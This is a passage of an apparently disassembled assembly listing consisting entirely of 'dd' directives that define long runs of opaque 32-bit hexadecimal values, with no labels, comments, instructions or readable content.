		dd 0C4EE6C9Fh, 0D16BF05h, 0ECF3D0EFh, 73B503FAh, 0A333083Bh
		dd 0C5AABB12h, 905FB24h, 6C15B08h, 0A1964FD1h, 0DDE8A229h
		dd 52BB85BDh, 0B3F12A9Fh, 92DD56Eh, 79DA052Eh, 86224D06h
		dd 0D324292Eh, 0B240AEB4h, 0BC0F05D8h, 1FE165Ch, 712CABC7h
		dd 9C2482Fh, 0B757F81h,	2544800Ch, 457126A8h, 6A2C2FE9h
		dd 5C145C45h, 4C2F761Dh, 0F6BD6EACh, 95E4540Eh,	6D064EBh
		dd 2D01E691h, 5F3DE2F7h, 5C12FA15h, 33CA5EF8h, 13DFA49Eh
		dd 0FC9F0105h, 0F859CB08h, 8DDF986Fh, 284CD880h, 0BFD98777h
		dd 192EE8Eh, 9A58664Ch,	0CE107A9Ch, 154C43AFh, 84FA4F03h
		dd 6802FE26h, 6EF12A42h, 4CC54C95h, 99AEE417h, 24B23F9Dh
		dd 0DC93A1DDh, 0E052AAD2h, 2D68FD45h, 2C1927BDh, 75E01426h
		dd 0CD5B5B9Ah, 7DE16140h, 0BD2F7F5Bh, 0EF8DFC12h, 36A25869h
		dd 0C155F430h, 45AEF92Fh, 0F2830851h, 0C908E92Ch, 0ADF6809Bh
		dd 299CE491h, 97B59BDh,	4AD1B30Fh, 0F22DC587h, 57E4FC57h
		dd 5A0115E8h, 0ED8073B5h, 0A0403014h, 286DD82h,	78CFFF5Fh
		dd 421B9A5Ch, 3EC2D529h, 51A0FA43h, 80F290B5h, 9412286Eh
		dd 0F5F411F3h, 5E5CEE2Dh, 88EB0CB4h, 0AF41589Bh, 35D75E95h
		dd 5B775D10h, 48077B5h,	0F850F181h, 0E913F2A1h,	9B976E0h
		dd 89693D31h, 4EBD66DEh
		dd 12215128h, 4095EF0h,	0B76AA34Ah, 708D5E42h, 0A3D7842Fh
		dd 0E0D31A4Bh, 12657222h, 4E0BEB68h, 4F580F0Dh,	701D49F1h
		dd 0C9812CB9h, 206506C2h, 17B81883h, 0CF0316C3h, 303EC7E9h
		dd 790C0935h, 6C027C34h, 40BEC6Dh, 0F9BDE1CBh, 433FA13h
		dd 17DE88F8h, 2A31BFF5h, 507D223Ch, 40539EE7h, 959A5D71h
		dd 3BB57B74h, 0E884DA22h, 0B8885B48h, 0C5FD5F62h, 2D817DCCh
		dd 0E153487Eh, 5A00F075h, 98C231h, 0AF244D5Fh, 46F84AEBh
		dd 0C68385EDh, 0C598EA01h, 0A8F1296h, 0B412126Ah, 4A2DE9D4h
		dd 0ED4B5CC3h, 8B753239h, 0B3D5052h, 701E2BA9h,	72036F6h
		dd 8BB85A4Bh, 8B41FCCBh, 105832D2h, 0B803BE58h,	6B3D0F25h
		dd 2AA29FD1h, 9E5CA2C8h, 0C5133E4Bh, 88EAE64Ch,	40FE2883h
		dd 0EB2EC1D9h, 30024C03h, 0C03B1F4Eh, 1F54110Ah, 42493EC2h
		dd 2E4376E1h, 0A8A1E0F5h, 5B4277Ah, 0CEA2EE60h,	9BF242A4h
		dd 2320F14Bh, 9F173468h, 0A02F46E6h, 3DF1FBADh,	14AED418h
		dd 0B65061B3h, 0C7417FD0h, 8657323Fh, 5350A6A2h, 2E8ED5C1h
		dd 0F20FD2CCh, 0EC4060ACh, 304108F5h, 0DF4AC2B5h, 82599509h
		dd 68550830h, 0F2660BC8h, 2B8B5D2Fh, 87F52800h,	0E0B77F4Ch
		dd 257799A1h, 0C9F4EE92h, 7DE7823Fh, 0F9081F31h, 72BE81D3h
		dd 70DDB42Eh, 0E876E930h, 22167A99h, 0CB0BD1Ch,	5F215EEBh
		dd 82FAA837h, 7EA5ADE9h, 91CF650Ch, 6F5401F9h, 0EBF1A789h
		dd 0F913162Bh, 78E2D2C2h, 4AEF8386h, 5BD40E20h,	92A0B35Dh
		dd 7B2557E6h, 1CDF04C2h, 628096EAh, 11770966h, 58024B00h
		dd 0E12D4B57h, 0CD306187h, 33029564h, 0E1402959h, 5C806F63h
		dd 5F681666h, 727E971Dh, 187D3E78h, 9DA30380h, 6694B3CDh
		dd 251B58B4h, 56852128h, 5F3FBA52h, 0D224CA69h,	8CD04E99h
		dd 5BAD36F9h, 3FBF41D1h, 0F9F5EDABh, 8FC02EDAh,	25C615A9h
		dd 8E7E2930h, 5A040820h, 8C3E955h, 0B86475FAh, 75F85A70h
		dd 7AB781F5h, 78B62BC4h, 0E993497Ah, 7CFEB65Eh,	6651962Fh
		dd 84DE2043h, 6EBB5303h, 0D903914Eh, 0DC2EF3B6h, 77822924h
		dd 5C580EB3h, 33780058h, 0E5E9409Dh, 3CAABA6Ch,	322D34EAh
		dd 6A680C01h, 0DF08244Bh, 0E185AE66h, 6E1A2EACh, 699642D5h
		dd 5C707B08h, 0ECC14B31h, 0A5F3B071h, 38620E03h, 7D6342C7h
		dd 8E62F55Ah, 48B8E90Eh, 0B7EB019Dh, 0D9B5E71Eh, 85E94192h
		dd 0C8317A0Dh, 5600A6AEh, 371661BEh, 59EC3C42h,	2DF82873h
		dd 0D920CB0Ah, 80419584h, 4F142FD1h, 9D2642D3h,	5C4920F0h
		dd 80EE3405h, 97FF7DC3h, 35095BA1h, 3F70BA5Eh, 56CDD4BDh
		dd 1892D25h, 98083853h,	0F05632FDh, 0FCFF43h, 1F1446BEh
		dd 0A920B74Ch, 393854EDh, 41D30CC0h, 2FE95E64h,	3E99DFCCh
		dd 24C52BEBh, 138268AFh, 86C9BC5Eh, 95787CE0h, 6358FAE8h
		dd 205E4697h, 0B20E7288h, 41442C20h, 4D0287Bh, 56E37FD2h
		dd 0E9C801D7h, 2CF97480h, 0F0285517h, 0C0FAB800h, 5CF604E5h
		dd 8404DEDDh, 0AD922EE9h, 325BCD08h, 0C330A06Fh, 50AEB150h
		dd 0B3535105h, 3283FE2Ch, 54A7271Fh, 71B04880h,	0D2983BEFh
		dd 38580E7Eh, 34C500AEh, 0E9906867h, 90715F70h,	6089DDDh
		dd 6A9C049Fh, 0E5555C09h, 6B36A628h, 0BB389E05h, 2B80CCDDh
		dd 0E46660B8h, 6462BD73h, 85C5310Bh, 53A489C0h,	0EE6517C7h
		dd 49C91D60h, 0AE808379h, 65CEDCFh, 0E94F5625h,	332102C5h
		dd 5B7A0EAh, 251BB27Bh,	0B8AC8980h, 57603420h, 837C65Dh
		dd 187362DDh, 0D20B95E7h, 80452993h, 0E47F4FB2h, 4BBB81E0h
		dd 303CF065h, 4801341Ch, 0E94251D9h, 322BC0A5h,	77F6157Ah
		dd 23B7B00Eh, 0D9C728F1h, 20237EACh, 684B3C4Ah,	92790625h
		dd 0F1820372h, 0C172D060h, 870503E7h, 0D0F793DFh, 0D17B0C9Eh
		dd 0E15DE92Dh, 2E6F56EBh, 84111044h, 1A9B004Eh,	0FA018EA0h
		dd 0D058AD94h, 0C9D3A2E9h, 37DC0256h, 0BD129260h, 2C475E64h
		dd 0E15B6949h, 0D36CFA41h, 86A9E24Ah, 7DE5E269h, 25D29E08h
		dd 68043A56h, 0C2936DA0h, 8E3E55Eh, 0A3704B7Eh,	3E543281h
		dd 0CF9C5596h, 800B9299h, 0BC293352h, 88A598EFh, 72249A4Fh
		dd 65172CFFh, 79B53F9Ah, 0D718C2C9h, 0D2D80F0Eh, 0DB53DE16h
		dd 6BB129FBh, 0BF573BC1h, 5537E908h, 68D19FCBh,	202E20B8h
		dd 0E99AB72Ah, 2730FB49h, 5AD5F95Ah, 4A88CD56h,	0D49827EBh
		dd 30E4D001h, 3AF2585Fh, 974115DAh, 4E1F28B9h, 0A91000B8h
		dd 0A3E640F2h, 89C4874Ch, 0AFEF93D4h, 58A92BD5h, 4937C501h
		dd 0DC4D623Fh, 6B1834E5h, 0F21A6C11h, 9FFF2DF6h, 0C06C5462h
		dd 8C5D995h, 5B1746FBh,	0C5A28F04h, 3BAB470Fh, 0C2898956h
		dd 0AF22D702h, 0E77F5DA4h, 8BEF90D6h, 7279545Ch, 613F815Fh
		dd 0CBF04B44h, 0BF7F1834h, 711F0C51h, 0E0736E2Ch, 82090117h
		dd 7B1A8504h, 0B4AF96C4h, 27B292DBh, 0ED55E095h, 482916BBh
		dd 65B5877Eh, 0F54EAE97h, 0C6BCB753h, 0A67ABBC1h, 4CB6E3Dh
		dd 59854607h, 0C2F185C2h, 3D0FC88Ch, 0FD53979Ah, 8D200A6Fh
		dd 2672CA5Ah, 6F404055h, 38D01745h, 0E583B089h,	1810035Bh
		dd 6BB206D3h, 20C7AA0h,	53BF0972h, 0D1D6E901h, 75F15159h
		dd 0E8C18275h, 0E4B5FADFh, 884609C3h, 2F7A1ADh,	3CA2136h
		dd 0FBF080F2h, 5A9D2D4Ah, 12C9B008h, 0F9B1ECE9h, 0CFA2D637h
		dd 0DB2D5F3Bh, 0BABE7404h, 5E2454CAh, 0CAB3E2CDh, 54616801h
		dd 0C2F28D2Ah, 0C6906AF7h, 6D5059C0h, 92DEE9C2h, 4D602D5Eh
		dd 9770CE76h, 0BEC2E868h, 2D9E3202h, 645064E9h,	0EC4C0AB1h
		dd 16864918h, 4376D38Ch, 3BBB20C1h, 8258CC8Ah, 0EA38CB2Dh
		dd 724D9E68h, 56598977h, 4768DA68h, 64814F25h, 6954DE34h
		dd 1E341045h, 105AB0BCh, 0BEC0FDBCh, 30E15310h,	0F6D12482h
		dd 0EA80D218h, 9DDEC76Ah, 681C424Eh, 4F384C87h,	0C5D2F2E9h
		dd 0DB32BA35h, 0BEFC4830h, 0FE0E126Eh, 9800BF5Dh, 95A1EB81h
		dd 807B4F14h, 0D55AE9A6h, 0BA59E8BDh, 2F87B28h,	6851112Ch
		dd 0A2664610h, 981ABFB0h, 5F7BD1E9h, 0C2573E32h, 0CFC75F3Bh
		dd 3D44B708h, 1E67B4DEh, 17F75840h, 0C8BE56D9h,	8748CE80h
		dd 8BC411D3h, 15EE8100h, 1556F07h, 719CE4Ch, 279E3169h
		dd 33A0E1E7h, 0EDE948F6h, 6809EE6Ch, 19A0E17h, 3909DD40h
		dd 8B0D992Fh, 9D208AFh,	0BEE310Bh, 0B834D5C3h, 117E917h
		dd 0CE8555ADh, 3CE5D90Dh, 9DF6A400h, 555FF80Bh,	604CEAB8h
		dd 0A208182Dh, 9D78763h, 7C1C0502h, 15E39975h, 754BA255h
		dd 821BDF93h, 7EBF86F9h, 29587142h, 0EA054B7Ch,	90680245h
		dd 0F598B770h, 488261EEh, 3B64DBD4h, 0C30E0DE6h, 0C2098A09h
		dd 0E940B5FAh, 289F4027h, 3F2024B0h, 2D315EF8h,	0C21C40CEh
		dd 164C7976h, 0E06710B1h, 0E281AC60h, 0E3267EFCh, 9C065E42h
		dd 50CA33Eh, 0CC375AC7h, 9E89FF7Ch, 0E94A11BEh,	5FC789F8h
		dd 87ECE2E8h, 40C5D082h, 0EBB52963h, 0BC1616A2h, 5069DC95h
		dd 0A8BE8AF8h, 2289461Dh, 0BA98D5BBh, 0B3AE8C1h, 64680B31h
		dd 8D995127h, 7A67DD14h, 9EBD6117h, 0E3765B27h,	1EA8F26Fh
		dd 8995315Ah, 7AF0F4F3h, 2C591D4h, 1D9047Dh, 0A73803D8h
		dd 47F31D04h, 74C7C128h, 0BF005CE4h, 4791F98h, 3E1A6813h
		dd 0C5DD9CF8h, 0BE3DC415h, 23158985h, 9690740Dh, 42802C09h
		dd 50C4F067h, 88FB8B57h, 51136BF6h, 1CAF1ED8h, 0C4E6DC94h
		dd 0E8466FE9h, 0C2F693FEh, 0E7D25C2Dh, 17B74220h, 8C74D268h
		dd 0E9D3D6F9h, 8AF701AAh
		dd 0FCB412C9h, 79F58C3h, 0BAE4E9DFh, 2BFB5A94h,	64F85A92h
		dd 30E3A4DFh, 5BDA213Ch, 58B5F773h, 7A5E09F8h, 0CC800796h
		dd 0BED28D56h, 156CD4A0h, 0E97E980Bh, 50FE22Ch,	0D2AA05BBh
		dd 6AD52DD6h, 0EF5741EBh, 0A1932162h, 0BDEF811Bh, 333F421Ch
		dd 0B5D308E8h, 892FBDE5h, 15475D79h, 801CDA10h,	14752505h
		dd 967BFC55h, 0CD80049Dh, 0EF7BCCBh, 0C1F5283Eh, 0A7B4505Ah
		dd 0E61BC4F8h, 0C6261F4h, 7FDCF6FFh, 61EE6087h,	58E5287Ch
		dd 5D499AFBh, 0ED80080Fh, 0E9A1B21Eh, 94F7372Ch, 821CF558h
		dd 62BD1D41h, 62F49E42h, 83A330E8h, 0A45C84B5h,	0EC728820h
		dd 8A2DE35Eh, 0E72CA3EDh, 0C76FB9D2h, 0F7E55752h, 844A08BCh
		dd 681370D5h, 74953325h, 3E64CB52h, 4E0D6816h, 7C259760h
		dd 0A0654A8Dh, 0BF27E13h, 3C944A48h, 1804B0C1h,	4E62D022h
		dd 8368810Ah, 18B33AEEh, 0C3C7B596h, 81519118h,	2548491Ah
		dd 0F47E2B9Fh, 31120720h, 0D5A35FFEh, 1BA125Eh,	0DFE90A34h
		dd 0D20E72C3h, 5026A405h, 6F949B44h, 0FDE78100h, 34507444h
		dd 3A13CDCDh, 99007A71h, 8D966B51h, 0EED29D05h,	0E9173B98h
		dd 64CDAE06h, 494E9077h, 9222CE5h, 0C654454Dh, 7CCE2109h
		dd 5059E210h, 10D955B2h, 5922C89Ah, 68574022h, 0D1C521D6h
		dd 6CEC8750h, 0B00BE5E7h, 201ABF52h, 0DC98BD53h, 1B9B0EDFh
		dd 0DF09324Fh, 0C6C4DF54h, 646E95A1h, 0E91DD8C4h, 5FB64DECh
		dd 0FCDFC782h, 5F9C89F4h, 95E95E40h, 63B5755Ah,	40345E62h
		dd 0C445AA8Fh, 75AEA2EBh, 164FB274h, 0FCE34042h, 22839A65h
		dd 246156EFh, 5CF85166h, 45F32B87h, 0BF2852Ah, 4DF54ABEh
		dd 0A02EB684h, 0D295BD10h, 0C634F4BDh, 62CA2993h, 516D7E34h
		dd 4388B8A8h, 78ECB716h, 0CF204238h, 0B56559EAh, 69D4CD24h
		dd 68B99CABh, 0F0DFB24h, 16029768h, 40750E72h, 3F5E2E92h
		dd 78C111A8h, 60C60284h, 0DA84D247h, 74B5081Eh,	0C8023720h
		dd 80EA4BBEh, 0E75E95B6h, 0C3EABF15h, 7173080Fh, 5CFD934h
		dd 1B1A1980h, 211F5DC1h, 6FDDCA02h, 0F26067B2h,	58E41025h
		dd 97A0894Bh, 121E69EBh, 0E2F9F282h, 9C98700Bh,	13E9E1B9h
		dd 7D307951h, 0C6BC034Fh, 10EEF693h, 4E25885Bh,	5E443474h
		dd 0C28F37EFh, 2A72ABB4h, 6880EA73h, 0E177701Ch, 0F1F1D83Ch
		dd 5D37A5C4h, 2109B11h,	37CC4450h, 6275C36Fh, 38D7CB58h
		dd 1334B9A4h, 164E875h,	3D14C53Bh, 0EAB7406Eh, 2D500E27h
		dd 5D3975AEh, 0F547A4CDh, 555E6227h, 6884286Dh,	0A2A850B4h
		dd 80A0ECD7h, 72371631h, 2ABD0155h, 0E970CE32h,	77072B1Ch
		dd 4161402Dh, 8B2B50E3h, 53061643h, 24C117DCh, 33608E7h
		dd 7EA74A91h, 40CDE2CBh, 11A9F2FAh, 419005CCh, 6B39FD02h
		dd 0E1D729F5h, 9780D566h, 3E0173B7h, 0D5F9514Eh, 4C977EA5h
		dd 13E37609h, 2EE5AC73h, 0BD162F9Fh, 6BA202B8h,	0C4810E78h
		dd 9DE8150Ch, 7E8899A4h, 4BA80C52h, 1E8E0200h, 0E9289405h
		dd 48DAC8EFh, 8EA81F92h, 0A10B4AEEh, 0B2983DBh,	31850203h
		dd 4EE4746Bh, 2E387B48h, 0C00915FDh, 0C9EC5ECAh, 0FB0B40DEh
		dd 6027FC72h, 1BA24C9Eh, 0DAF25F4Bh, 93277F04h,	2081FBE8h
		dd 5802C4A5h, 9F8761h, 9F5D4568h, 2B2D09C6h, 0AF8B515Ch
		dd 2D762CAEh, 0F22C2AB4h, 535BC0BCh, 0F557FDBBh, 27B97D5Fh
		dd 2985BCAh, 14A92C85h,	484CB78Fh, 7409DC32h, 40093128h
		dd 0B9E5918Bh, 0F1F781B1h, 3A376C68h, 0E11E6731h, 0AA08352Eh
		dd 0D9400639h, 3BF962A9h, 50780167h, 0B75808E9h, 0C74A7364h
		dd 681DB3F3h, 0CE5B25A8h, 49E95202h, 45A27DDEh,	520C7462h
		dd 0A10B0F1Fh, 4B9F0159h, 0F6DC3FB2h, 9ECFD63h,	77A6BE37h
		dd 71ADEB22h, 685B5400h, 385D5519h, 9269EAE0h, 5036204Fh
		dd 0ABF6801Eh, 48E3E60Bh, 0CB998C88h, 0DE02C61Dh, 6801EE67h
		dd 85C34365h, 8FC32CBBh, 0CB3D5C95h, 5B32145Fh,	0D9279D5Dh
		dd 0FF85047Ch, 246FE808h, 0D3F51C3Fh, 0F394109h, 3AD2F6A8h
		dd 665C1B30h, 5A44C58Fh, 84A025C3h, 5DA0091Ah, 0AE6894C0h
		dd 2EE3414Fh, 629D0979h, 29960306h, 5FC25A0h, 13283122h
		dd 0F76BB9E9h, 680D614Eh, 1F237591h, 0B766986Bh, 63685A09h
		dd 331E5F60h, 0AD4AD498h, 0B04B52B6h, 0DC274308h, 81041108h
		dd 3D45082h, 0C2DF7FA6h, 4B987438h, 457F2455h, 0DD52CA92h
		dd 31A28145h, 0B8E38926h, 4D1F1A00h, 6BD58709h,	91570642h
		dd 0DF7E5DDEh, 5C011670h, 0C227F2E7h, 4D1605D4h, 0B8C57090h
		dd 9BD89F4Ch, 5FE4E504h, 0D4F67DBFh, 0F587EE04h, 50C5FE5Eh
		dd 659403BAh, 1C4851AEh, 21807863h, 355D00E8h, 6A752B92h
		dd 9609B951h, 893E6529h, 349985B0h, 20E55600h, 9D0CFE6Dh
		dd 271C2844h, 0F4A87726h, 6736CA07h, 58C0211Bh,	5933E945h
		dd 1E040091h, 0C0342B64h, 6204EE4Ah, 55E9D409h,	208BDAD0h
		dd 89BF844Ah, 0CC5810F7h, 0BF23C94Dh, 50082BFDh, 89A9544h
		dd 880FF157h, 5E09F0A0h, 0F805555Ah, 0D6EEC25Dh, 2A85BDEBh
		dd 2023B001h, 76060E47h, 2286465Eh, 0E200883h, 0EE1C20BDh
		dd 280B3C31h, 89E9BC7h,	2F20605Ch, 22432029h, 30A2F831h
		dd 888C3C2h, 0D808667Ah, 0CD050863h, 8EB4708h, 0F308E97Ch
		dd 0D8B108ECh, 8B5D208h, 0C11CF7AFh, 13C06031h,	0FB64088Ch
		dd 0F162F218h, 2C73B08h, 9C029A4Fh, 0B2680F4Dh,	893971B1h
		dd 15F7401h, 59018437h,	70588C7Ch, 40970887h, 0D1623888h
		dd 6551720h, 8531298Dh,	1044189Bh, 10FED607h, 0B1DDAD32h
		dd 36080F3Bh, 19ACA415h, 4E104B87h, 0C6B7BC51h,	90FC3A01h
		dd 731862F1h, 9C6E08D0h, 834528C6h, 98393108h, 88DCCC18h
		dd 156E5F08h, 2B19985Dh, 98B499ADh, 0C8916808h,	8A0D801Fh
		dd 8858C82h, 0D0354051h, 0CB31E064h, 18631912h,	0CADC5134h
		dd 1319054h, 0ECF93531h, 6B088D58h, 0C9C92878h,	65120888h
		dd 8C17608h, 0BB0C6DE7h, 408C3051h, 73634175h, 3172B610h
		dd 0F21F108h, 8B089D3Fh, 6F3B3160h, 99070C30h, 1E088099h
		dd 771831D3h, 21B3821h,	240C4862h, 6D10CA0Ah, 2C8F8C9Ch
		dd 10C47A61h, 64063242h, 0B5670869h, 124810F1h,	31C4425h
		dd 0A2DD049Dh, 8C90CC0Ah, 0DBC1134Fh, 22EC18C4h, 4022A509h
		dd 95038485h, 0C80944A8h, 66A1C6E3h, 0ED3108F0h, 0F753386Dh
		dd 173CD01h, 8302F8A6h,	5CB4048h, 804BC280h, 0B892579Eh
		dd 63B3FD40h, 44A72025h, 0C8D10818h, 81962318h,	0F368249Ah
		dd 0D2599466h, 0C4D59808h, 4C43E08h, 0C106C3CAh, 0D320388Eh
		dd 0D8633482h, 0C0C04841h, 24905B89h, 0D60A1D90h, 46E492E4h
		dd 108B9CF8h, 20655E20h, 972041DCh, 8E62093h, 31B16C20h
		dd 0EE084CABh, 0BB2C346Eh, 0A96B6880h, 0C5018AE0h, 5C580176h
		dd 8879F001h, 875AF08h,	33093111h, 0B18C2C96h, 190340FBh
		dd 5110B962h, 7D02024Eh, 20B1EA06h, 26629ED5h, 0ED6909h
		dd 0E8FC9C60h, 0C027A499h, 0CE45C79Ch, 3BBE8B1Eh, 4042DF93h
		dd 752C474Fh, 1331EB02h, 0A7B90E89h, 5003DBDh, 408F4401h
		dd 0C90B0B49h, 0E8BF775h, 0DE043DF7h, 15B9F003h, 0C0333C70h
		dd 4FB10F06h, 0E0B72C30h, 65166CBh, 0E954B050h,	2AE15486h
		dd 0A0A549ECh, 7B1F8C38h, 0E3876199h, 45B51EEh,	59C7BAF3h
		dd 80EA5A04h, 55EAE9CFh, 0F21014Ah, 0A32A243Ch,	0B41C6AAh
		dd 18DBB52Ch, 0C965482Fh, 169E4E68h, 3FC10DA4h,	1F28730Ah
		dd 0A84A5DEEh, 13BBAAD0h
		dd 0C3E31ABBh, 1DF1A11Ah, 3615F760h, 2D0E1100h,	6AE34DF0h
		dd 6CE20025h, 91052185h, 3A0CCF04h, 36D8F7E9h, 0F95B5A59h
		dd 0C08C34Ch, 5D05A85Eh, 0FEF80563h, 0D0C6C3E9h, 1CC1EA38h
		dd 5F61A613h, 55A222C4h, 7C4B6809h, 530861FBh, 68C049BBh
		dd 2EB89A3Bh, 0F6028B27h, 0D6CBACh, 4C680F3Ah, 0CFD1133Ah
		dd 0BF00FF15h, 0BC241350h, 4002262Eh, 0FE56C047h, 0BCEE2158h
		dd 0BE7D9916h, 11397739h, 10E0423Ah, 0D4685551h, 1AFD2803h
		dd 13E5D15Dh, 0E071E904h, 765CBE2Eh, 83330951h,	96A78EEh
		dd 5D9C4017h, 0E96D405Fh, 2ED769B1h, 74496A71h,	0BF41E205h
		dd 1D2944D5h, 838105EFh, 13E05B87h, 52BECFB0h, 0B07CCC3Fh
		dd 0FFE41FE7h, 1EBB4AEAh, 0ADD7A9F6h, 81021B14h, 383D70EBh
		dd 846AD75Bh, 0AF5E080Bh, 7AF36704h, 81DA91EAh,	0C3BB8141h
		dd 25B7380Eh, 0FE20382Dh, 8CBD5503h, 0D9CFDDCEh, 0CB98676Ah
		dd 2BB4214Ah, 3EEC7297h, 0F597BFF7h, 40A3E5A7h,	8673D19h
		dd 47256E7Dh, 72657630h, 0F162AA56h, 2230575Eh,	5E82795Dh
		dd 0EDA0930h, 156F866h,	359950B9h, 0F73B8C64h, 5230A0E8h
		dd 207945C8h, 50205897h, 18017C14h, 0C6AA30Dh, 0F0001E56h
		dd 57FB292Eh, 7149DBFh,	0D147113Bh, 27CB3AEFh, 0AA03CA5Ch
		dd 505AE886h, 0D303522Ah, 3ED1FD88h, 0DA5D3DD3h, 0CD08CADh
		dd 0AA405B27h, 0A03D42C0h, 820E6074h, 268BA5BFh, 2409D601h
		dd 622A81Fh, 1650BAF5h,	8E641841h, 11F354BCh, 5C00513Eh
		dd 0E949B701h, 0C2E1361Bh, 555A1AFFh, 48F4570Bh, 0BC4F2970h
		dd 9F424959h, 0AFE3E7FDh, 3B1FB0C9h, 1BE78914h,	93AC4A45h
		dd 0FB8A03CFh, 291FDC30h, 5E906FC6h, 0AC31D368h, 47920603h
		dd 4813E255h, 4F5B5D0Bh, 0CA4E04Dh, 51091E1Dh, 63E8CD81h
		dd 834101A0h, 4BCC4241h, 74CE20E9h, 343B2D02h, 40522C93h
		dd 4409CCFh, 0D0F70913h, 4F6DF348h, 2558E2C0h, 8E300093h
		dd 0EC1A2D5Fh, 0F2CB9873h, 1BB6DEC3h, 37A2D258h, 390EDD09h
		dd 0DD984FB2h, 0E256193h, 0D6F70041h, 8EE3DC1h,	144FC519h
		dd 46A02B58h, 0CA41F587h, 19AF2D88h, 0E9100D1Eh, 112C062h
		dd 0FC8202DFh, 60578809h, 25194112h, 0DBF057DEh, 797E18A0h
		dd 0D7BD8F50h, 33E65A4Bh, 1C12CB5Ah, 26497305h,	0D5CC8708h
		dd 2D515051h, 2E602D4h,	4538054Dh, 8F73310h, 0E9050762h
		dd 0DE4F8444h, 0F62C4268h, 0CFF2C078h, 4DEBEE1Dh, 7B0C6425h
		dd 0E67C60E2h, 5BB75095h, 44FBE489h, 0E986D12h,	40F9F01h
		dd 0C822EFDh, 0D4F0431Ah, 651D61h, 0E48CA80h, 0C2FED2F6h
		dd 0EB16F2E4h, 3FB14107h, 0D889E9F3h, 772867C1h, 1C4E28D9h
		dd 0A162B7D6h, 618ACC02h, 5FDD6803h, 311CB50Bh,	7C14EC7Ah
		dd 9A4A4B1h, 0EEB0108h,	0ADEEA83h, 279E846h, 42BD3978h
		dd 2BC636C1h, 603F35DDh, 69D9EBE5h, 0C0204626h,	50050848h
		dd 42BB038Fh, 12B9893h,	5AC853C4h, 1DF93BEh, 0B36A5C56h
		dd 7A7B2030h, 2B276C0Eh, 36154DE9h, 4904F469h, 80266D67h
		dd 343A6307h, 0C7846F4Ah, 7030A486h, 595E97F5h,	31960550h
		dd 0D07CC5D2h, 0F35102B4h, 43E313E5h, 463BBBF7h, 3C536BB1h
		dd 5B1604D3h, 63D45D1Ch, 3189071Eh, 69F1F1D6h, 78E0A00h
		dd 609D11A2h, 0D5460D9Dh, 0F8D65BCAh, 0D2EDA49Ch, 0E202C22h
		dd 0EBC114FBh, 3800B806h, 903A23Bh, 0E91A1C5Fh,	57F4BC6Bh
		dd 2229D7CCh, 4F00D1A8h, 0F733C056h, 1010C2DBh,	0E162324Eh
		dd 0A747E57Dh, 0D716B57Bh, 20A66F57h, 6D250B05h, 12870048h
		dd 4A310108h, 50C1C14Eh, 348EDD5Fh, 0FBE444B7h,	0C13E9086h
		dd 9F0958h, 6561E24Dh, 9A725845h, 5737C06h, 0E0040C57h
		dd 11B3FF1h, 0AFE927C0h, 0E241C918h, 6A75D02h, 0EAFA0500h
		dd 21FE1F48h, 55AC09C2h, 2D584757h, 0A84E94F4h,	0BE6816FAh
		dd 515E780Bh, 0AC0049CDh, 32D80556h, 9A1214Bh, 960BE02Eh
		dd 4AA641B7h, 2CE8D37Eh, 555B3CC3h, 0C2B7FC9h, 0BF9651F1h
		dd 15C27F82h, 81F04DDh,	0ABA459B8h, 68E9EED1h, 0DFC2A621h
		dd 0D800F8E2h, 0B7F52FE2h, 292800BDh, 0A2244A2Ch, 7904F5B7h
		dd 16D68007h, 0FE950131h, 11E9D804h, 79FF49Ah, 8A84C94Eh
		dd 0C024B9BDh, 0A85C9725h, 7D8B686h, 8853F2B1h,	5BFE20CFh
		dd 6FF92C59h, 5A49B387h, 0BB3C3555h, 56738134h,	619421D4h
		dd 64B2F473h, 51D85281h, 6CB1D911h, 0A2A27F54h,	2DCDEF10h
		dd 3912FC88h, 31252BC8h, 0AAFC7C0Bh, 298C88h, 0D4121ABDh
		dd 0D55FF74Ah, 0DE60BAB8h, 4F787C51h, 5FFD0916h, 16FC44C8h
		dd 0F27AFEDEh, 0CFA250E9h, 0CB847495h, 8A2E2EFAh, 48A51ACCh
		dd 5B1FE522h, 0F432B4BBh, 160239E5h, 36092AE3h,	0AE85831Bh
		dd 0ED82955Eh, 78307FDAh, 35D41137h, 7E842F90h,	6413E251h
		dd 765DF620h, 4E1E301Fh, 0D8A1A50Eh, 0F229F307h, 79C93AE9h
		dd 478F8063h, 0EAD14E4Dh, 70089898h, 25CEB10h, 84324C4Bh
		dd 0E0AB085h, 0E4B287A5h, 0F8AE3454h, 0D9C9E912h, 5474D8ABh
		dd 0B7685D09h, 50165F2Bh, 41699C98h, 0F3F3225Bh, 6007D414h
		dd 635E3FC4h, 6C42C095h, 0EE2ED245h, 5201462Ah,	0E0E9BEB6h
		dd 0F3258278h, 826B0965h, 0EDFF597h, 0BC9201CFh, 0DCB4D39Eh
		dd 0B71927E9h, 52F2D1C6h, 6095E52h, 0FBE6851h, 9A0824CBh
		dd 18C2A486h, 0E4BDA819h, 6E7B451Eh, 7FAA6489h,	5577761Ch
		dd 4E71F0BAh, 509C829Dh, 5AE3C156h, 2DFAE72Fh, 590E7C5Ch
		dd 0A3DB2FE5h, 99BD0860h, 3D605A6Fh, 0A5906B2Ah, 0BF690C2h
		dd 22394B88h, 246EB0Ah,	65D23F09h, 5179A80h, 0D12C2849h
		dd 0A4A829E3h, 0D9010B2Dh, 62AA0B4Ah, 20A326AFh, 96D132B7h
		dd 2424A818h, 9D70E709h, 0FCC1580Dh, 0FCD05BCEh, 0EEC0C637h
		dd 0A852058h, 5A703BFh,	0B10E1307h, 594EBABEh, 4D1AD24h
		dd 0FE740E96h, 0A003730Ah, 8309E2A8h, 6B53617Ch, 3B1F9844h
		dd 130348FEh, 79224B00h, 47D7F717h, 0A101AEB8h,	0E9E670D5h
		dd 0EB04C2F8h, 0A4F0F5D9h, 0BCE4978Eh, 624A79F0h, 0A58629ABh
		dd 5DFEE227h, 0BF066168h, 0C2E3AF2Fh, 15164C6Ah, 9B90F7E9h
		dd 474D5518h, 0C49D779Bh, 0CFD60D2h, 5AB7ECB5h,	0A4C78012h
		dd 0BA341CBEh, 484AF8CAh, 0FEA54B8Bh, 105583DFh, 4BBFEC4Bh
		dd 85731EAh, 27A732ABh,	0F41A093Ch, 757A2FDAh, 0E60A0909h
		dd 8196D752h, 0ACB1632h, 3C3F75Bh, 227A5CC9h, 5F0D9AF9h
		dd 76A058FAh, 26263E5Ah, 0CF0F8629h, 0DBE1134Eh, 98081CA0h
		dd 230F0A55h, 29E553Bh,	3EF156AAh, 431AA76h, 5BC739E9h
		dd 842DE854h, 5F0DF697h, 0C1E9DB40h, 0C2FF7415h, 5B4F350Ch
